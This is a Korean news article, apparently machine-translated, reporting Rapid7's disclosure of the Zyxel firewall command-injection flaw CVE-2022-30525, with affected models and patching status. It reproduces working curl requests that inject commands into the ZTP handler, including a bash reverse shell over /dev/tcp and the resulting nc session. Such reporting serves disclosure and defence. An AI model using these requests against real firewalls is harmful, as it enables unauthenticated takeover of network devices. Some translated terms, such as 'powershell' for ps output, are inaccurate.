Zyxel은 심각도 9.8로 명령 주입 취약점을 자동으로 패치합니다.

자이셀

하드웨어 제조업체 Zyxel은 해커가 수만 개의 방화벽 장치를 원격으로 제어할 수 있는 능력을 제공하는 치명적인 취약점을 수정하는 업데이트를 조용히 출시했습니다.

인증 없이 원격 명령 주입을 허용하는 이 취약점의 심각도는 10점 만점에 9.8점입니다. 영향을 받는 장치에 간단한 HTTP 또는 HTTPS 요청을 보내면 쉽게 악용할 수 있습니다. 요청을 통해 해커는 명령을 보내거나 해커가 시간이 지남에 따라 권한 있는 액세스를 유지할 수 있도록 하는 웹 셸 인터페이스를 열 수 있습니다.

높은 가치, 무기화 용이, 인증 불필요

이 취약점은 제로 터치 프로비저닝으로 알려진 기능을 제공하는 방화벽 라인에 영향을 미칩니다. Zyxel은 소규모 지사 및 기업 본부 배포에 사용할 장치를 판매합니다. 이 장치는 VPN 연결, SSL 검사, 웹 필터링, 침입 방지 및 이메일 보안을 수행하고 방화벽을 통해 최대 5Gbps의 처리량을 제공합니다. Shodan 장치 검색 서비스에 따르면 16,000개 이상의 영향을 받는 장치가 인터넷에 노출되어 있습니다.

영향을 받는 특정 장치는 다음과 같습니다.

영향을 받는 모델 영향을 받는 펌웨어 버전
USG 플렉스 100, 100W, 200, 500, 700 ZLD5.00 ~ ZLD5.21 패치 1
USG20-VPN, USG20W-VPN ZLD5.10 ~ ZLD5.21 패치 1
ATP 100, 200, 500, 700, 800 ZLD5.10 ~ ZLD5.21 패치 1

취약점은 CVE-2022-30525로 추적됩니다. 이를 발견하고 Zyxel에 비공개로 보고한 보안 회사인 Rapid7은 VPN 시리즈 장치도 ZTP를 지원하지만 다른 필수 기능이 포함되어 있지 않기 때문에 취약하지 않다고 말했습니다. 목요일에 발표된 권고에서 Rapid7 연구원 Jake Baines는 다음과 같이 썼습니다.

영향을 받는 모델은 관리 HTTP 인터페이스를 통한 인증되지 않은 원격 명령 주입에 취약합니다. 명령은 다음과 같이 실행됩니다. nobody 사용자. 이 취약점은 다음을 통해 악용됩니다. /ztp/cgi-bin/handler URI이며 정제되지 않은 공격자 입력을 다음으로 전달한 결과입니다. os.system 방법 lib_wan_settings.py. 취약한 기능은 다음과 관련하여 호출됩니다. setWanPortSt 명령. 공격자는 임의의 명령을 mtu 아니면 그 data 매개변수.

다음은 (1)의 예입니다. curl 방화벽이 실행되도록 하는 ping IP 주소 192.168.1.220, (2) 결과의 powershell 출력, (3) 리버스 셸 생성 및 (4) 해커가 리버스 셸로 할 수 있는 작업:

    1. curl -v --insecure -X POST -H "Content-Type: application/json" -d
      '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
      :"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}'
      https://192.168.1.1/ztp/cgi-bin/handler
      
    2. nobody   11040  0.0  0.2  21040  5152 ?        S    Apr10   0:00  \_ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
      nobody   16052 56.4  0.6  18104 11224 ?        S    06:16   0:02  |   \_ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py
      nobody   16055  0.0  0.0   3568  1492 ?        S    06:16   0:00  |       \_ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN3 4 ; ping 192.168.1.220; 5 >/dev/null 2>&1
      nobody   16057  0.0  0.0   2152   564 ?        S    06:16   0:00  |           \_ ping 192.168.1.220
      
    3. curl -v --insecure -X POST -H "Content-Type: application/json" -d '
      {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":
      "1","vlanid":"5","mtu":"; bash -c \"exec bash -i &>/dev/tcp/
      192.168.1.220/1270 <&1;\";","data":"hi"}' https://192.168.1.1
      /ztp/cgi-bin/handler
      
    4. albinolobster@ubuntu:~$ nc -lvnp 1270
      Listening on 0.0.0.0 1270
      Connection received on 192.168.1.1 37882
      bash: cannot set terminal process group (11037): Inappropriate ioctl for device
      bash: no job control in this shell
      bash-5.1$ id
      id
      uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
      bash-5.1$ uname -a
      uname -a
      Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
      Bash-5.1
      

Rapid7은 여기에서 익스플로잇 프로세스를 자동화하는 Metasploit 익스플로잇 프레임워크용 모듈을 개발했습니다.

Baines는 Rapid7이 4월 13일 Zyxel에 취약점을 알렸고 6월 21일 양 당사자가 수정 사항을 포함하여 조정된 공개를 제공하기로 합의했다고 말했습니다. 연구원은 Rapid7에 알려지지 않은 채 하드웨어 제조업체가 펌웨어 업데이트를 출시했다고 말했습니다. 4월 28일에 조용히 취약점을 수정했습니다. Zyxel은 Rapid7이 자동 패치에 대해 질문하고 목요일에 권고를 발표한 후 화요일에 CVE 번호를 얻었습니다.

보안 취약점에 대한 리소스인 AttackerKB에 따르면 CVE-2022-30525는 무기화하기 쉽고 인증이 필요하지 않으며 취약한 장치의 기본 설정에서 악용될 수 있기 때문에 위협 행위자에게 높은 가치가 있습니다. Rapid7 담당자는 해당 평가의 정확성에 대한 기본적인 질문에 답변할 수 없었습니다.

관리자는 자동 업데이트를 허용하도록 기본 설정을 변경하지 않는 한 패치를 수동으로 적용해야 합니다. 취약한 방화벽 중 하나인 ATP200에 대한 Shodan 쿼리가 노출된 장치의 약 25%만이 최신 펌웨어를 실행하고 있는 것으로 나타났기 때문에 초기 징후는 패치가 널리 배포되지 않았음을 나타냅니다.

방화벽에 영향을 미치는 취약점은 들어오고 나가는 트래픽이 흐르는 네트워크의 외부 가장자리에 있기 때문에 특히 심각할 수 있습니다. 많은 방화벽은 암호화되기 전에 데이터를 읽을 수도 있습니다. 이러한 영향을 받는 장치를 사용하는 네트워크를 감독하는 관리자는 이 취약점에 대한 노출을 조사하고 그에 따라 패치해야 합니다.

Leave a Reply

Your email address will not be published.